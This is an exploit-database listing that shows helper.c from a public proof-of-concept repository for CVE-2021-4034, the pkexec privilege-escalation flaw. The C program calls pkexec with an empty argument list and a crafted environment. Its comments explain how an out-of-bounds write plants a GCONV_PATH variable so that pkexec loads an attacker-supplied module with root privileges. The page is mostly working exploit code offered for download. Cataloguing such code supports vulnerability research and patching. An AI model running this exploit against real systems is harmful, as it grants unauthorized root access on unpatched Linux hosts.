Exploit database

GH-883edd6e08746d0c6fd652da2c5b6c85

mebeim/cve-2021-4034

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-4034

144 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files6
mebeim/cve-2021-4034Revision 3d50865b4806

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

helper.c

C · 1,054 bytes
/**
 * Just an helper to run pkexec with empty argv and the appropriate env vars.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
	char *const envp[] = {
		// This pointer will be overridden by pkexec with an OOB write on argv.
		"fake_exe",

		// If this dir exists and fake_exe exists within it,
		// g_find_program_in_path() will return "GCONV_PATH=./fake_exe", which
		// will overwrite envp[0] essentially setting up the GCOV_PATH env var.
		"PATH=GCONV_PATH=.",

		// A shell that is not present under /etc/shells, so that pkexec's
		// validate_environment_variable() fails, calling g_printerr().
		"SHELL=x",

		// An encoding that is not UTF-8 (even made up), so g_printerr() invokes
		// a loadable module for string conversion as specified by the config
		// file $GCONV_PATH/gconv-modules, which in this case will point to
		// fake_module.so compiled from fake_module.c.
		"CHARSET=banana",
		NULL
	};

	execvpe("pkexec", (char *[]){NULL}, envp);
	perror("execvpe failed");
	return 1;
}